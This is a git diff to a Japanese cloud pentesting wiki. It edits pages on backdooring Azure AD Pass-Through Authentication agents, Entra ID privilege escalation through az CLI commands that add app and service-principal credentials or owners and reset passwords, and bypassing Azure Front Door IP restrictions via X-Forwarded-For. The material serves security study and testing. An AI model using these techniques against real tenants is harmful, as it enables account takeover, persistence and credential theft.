src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md index bc1acaaf7..e33d20fa5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md @@ -4,7 +4,7 @@ ## 基本情報 -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインインできます**。この機能は、ユーザーにとってより良い体験を提供します - 覚えておくべきパスワードが1つ減り、ユーザーがサインイン方法を忘れる可能性が低くなるため、ITヘルプデスクのコストが削減されます。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。 +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra パススルー認証を使用すると、ユーザーは **オンプレミスおよびクラウドベースのアプリケーションに同じパスワードでサインイン**できます。この機能は、ユーザーにとってより良い体験を提供し、覚えるべきパスワードが1つ減るため、ITヘルプデスクのコストを削減します。ユーザーが Microsoft Entra ID を使用してサインインすると、この機能はユーザーのパスワードをオンプレミスの Active Directory に対して直接検証します。 PTA では **アイデンティティ** は **同期されます** が、**パスワードは同期されません**（PHS のように）。 @@ -21,7 +21,7 @@ PTA では **アイデンティティ** は **同期されます** が、**パ > [!WARNING] > 攻撃者が **PTA** を **侵害** すると、キュー内のすべての **資格情報** を（**平文**で）**見る** ことができます。\ -> また、AzureAD に対して **任意の資格情報を検証** することもできます（Skeleton key に似た攻撃）。 +> また、AzureAD に対して **任意の資格情報を検証** することもできます（スケルトンキーに似た攻撃）。 ### 列挙 @@ -56,7 +56,7 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut ```bash Get-Service -Name "AzureADConnectAuthenticationAgent" ``` -## ピボッティング +## ピボティング **PTA** **エージェント**が実行されている**Azure AD Connectサーバー**に**管理者**アクセスがある場合、**AADInternals**モジュールを使用して、**すべてのパスワード**を**検証するバックドア**を**挿入**することができます（すべてのパスワードが認証に対して有効になります）： ```bash @@ -84,7 +84,7 @@ Remove-AADIntPTASpy # Remove the backdoor ### シームレスSSO -PTAを使用してシームレスSSOを利用することが可能で、他の悪用に対して脆弱です。詳細は以下を確認してください： +PTAを使用してシームレスSSOを利用することが可能ですが、他の悪用に対して脆弱です。詳細は以下を確認してください： {{#ref}} seamless-sso.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md deleted file mode 100644 index 0b4a917c7..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ /dev/null @@ -1,30 +0,0 @@ -# Az- 新しいユーザーの同期 - -{{#include ../../../../banners/hacktricks-training.md}} - -## AzureADユーザーをオンプレミスに同期してオンプレミスからAzureADに昇格する - -AzureADからオンプレミスADに新しいユーザーを同期するための要件は次のとおりです： - -- **AzureADユーザー**はプロキシアドレス（**メールボックス**）を持っている必要があります -- ライセンスは必要ありません -- **すでに同期されていないこと** -```bash -Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl -``` -AzureADでこのようなユーザーが見つかった場合、**オンプレミスADからアクセスするためには**、**SMTPメールのproxyAddress**を持つ**新しいアカウントを作成するだけです**。 - -自動的に、このユーザーは**AzureADからオンプレミスADユーザーに同期されます**。 - -> [!CAUTION] -> この攻撃を実行するためには**Domain Adminは必要ありません**。**新しいユーザーを作成する権限**があれば十分です。 -> -> また、これは**MFAをバイパスしません**。 -> -> さらに、**管理者アカウントのアカウント同期はもはや不可能であると報告されています**。 - -## References - -- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 500685de1..0b0692a66 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> **Entra ID** における **すべての詳細な権限** を持つ組み込みロールが **カスタムロールで使用できるわけではない** ことに注意してください。 +> **Entra ID**に組み込まれている**すべての詳細な権限**がカスタムロールで使用できるわけではないことに注意してください。 ## Roles ### Role: Privileged Role Administrator -このロールには、プリンシパルにロールを割り当て、ロールに対してより多くの権限を付与するために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。 +このロールには、プリンシパルにロールを割り当てたり、ロールに追加の権限を付与したりするために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。 - ユーザーにロールを割り当てる: ```bash @@ -52,7 +52,7 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -これにより、攻撃者は既存のアプリケーションに**資格情報**（パスワードまたは証明書）を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その特権を取得できます。 +これにより、攻撃者は既存のアプリケーションに**資格情報**（パスワードまたは証明書）を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。 ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -67,7 +67,7 @@ az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作でき、資格情報や権限を含むことができます。 +攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。 ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -98,13 +98,13 @@ az ad sp credential reset --id --append > 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\ > APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは **SPのpasswordCredentialsプロパティを変更することはできないため** であり、最初にロックを解除する必要があります。そのためには、実行を許可する権限 (`microsoft.directory/applications/allProperties/update`) が必要です: +エラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは**SPのpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限（`microsoft.directory/applications/allProperties/update`）が必要です: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。 +これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格された権限がある場合、攻撃者はその権限を引き継ぐことができます。 ```bash az ad sp credential reset --id --append ``` @@ -128,15 +128,15 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために使用する必要があるメソッドであってもです。したがって、**現在はオーナーを削除できません**。 +> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために必要なメソッドであってもです。したがって、**現在オーナーを削除することはできません**。 ### `microsoft.directory/servicePrincipals/disable` と `enable` -これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、特定の方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。 +これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。 この技術では、攻撃者が有効にされたサービスプリンシパルを乗っ取るために、さらに多くの権限が必要であることに注意してください。 ```bash -bashCopy code# Disable +# Disable az ad sp update --id --account-enabled false # Enable @@ -164,6 +164,14 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` +### アプリケーションの特権昇格 + +**[この投稿](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)で説明されているように**、デフォルトのアプリケーションに**API permissions**のタイプ**`Application`**が割り当てられているのを見つけることは非常に一般的でした。**`Application`**タイプのAPI Permission（Entra IDコンソールで呼ばれる）は、アプリケーションがユーザーコンテキスト（アプリにユーザーがログインしていない状態）なしでAPIにアクセスでき、Entra IDのロールを必要としないことを意味します。したがって、**すべてのEntra IDテナントにおいて高特権のアプリケーションを見つけることは非常に一般的です**。 + +次に、攻撃者が**アプリケーションの資格情報（シークレットまたは証明書）を更新することを許可する権限/ロール**を持っている場合、攻撃者は新しい資格情報を生成し、それを使用して**アプリケーションとして認証**し、アプリケーションが持つすべての権限を取得できます。 + +前述のブログでは、一般的なMicrosoftのデフォルトアプリケーションのいくつかの**API permissions**が共有されていますが、この報告の後、Microsoftはこの問題を修正し、現在はMicrosoftアプリケーションとしてログインすることはできなくなりました。しかし、**悪用される可能性のある高特権のカスタムアプリケーションを見つけることは依然として可能です**。 + --- ## グループ @@ -224,7 +232,7 @@ az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザーは特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。 +この権限はユーザーのプロパティを変更することを許可します。プロパティの値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザーは特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。 ```bash #e.g. change manager of a user victimUser="" diff --git a/src/pentesting-cloud/azure-security/az-services/az-front-door.md b/src/pentesting-cloud/azure-security/az-services/az-front-door.md new file mode 100644 index 000000000..79d4dc869 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md @@ -0,0 +1,18 @@ +# Az - ファイル共有 + +{{#include ../../../banners/hacktricks-training.md}} + +## RemoteAddr バイパス + +この**[ブログ投稿](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)**は、Azure Front Doorでネットワーク制限を設定する際に、**`RemoteAddr`**または**`SocketAddr`**に基づいてフィルタリングできる方法を説明しています。主な違いは、**`RemoteAddr`**が実際に**`X-Forwarded-For`** HTTPヘッダーからの値を使用するため、非常に簡単にバイパスできることです。 + +このルールをバイパスするために、**IPアドレスをブルートフォース**する自動化ツールを使用することができます。 + +これは[Microsoftのドキュメント](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction)で言及されています。 + + +## 参考文献 + +- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass) + +{{#include ../../../banners/hacktricks-training.md}}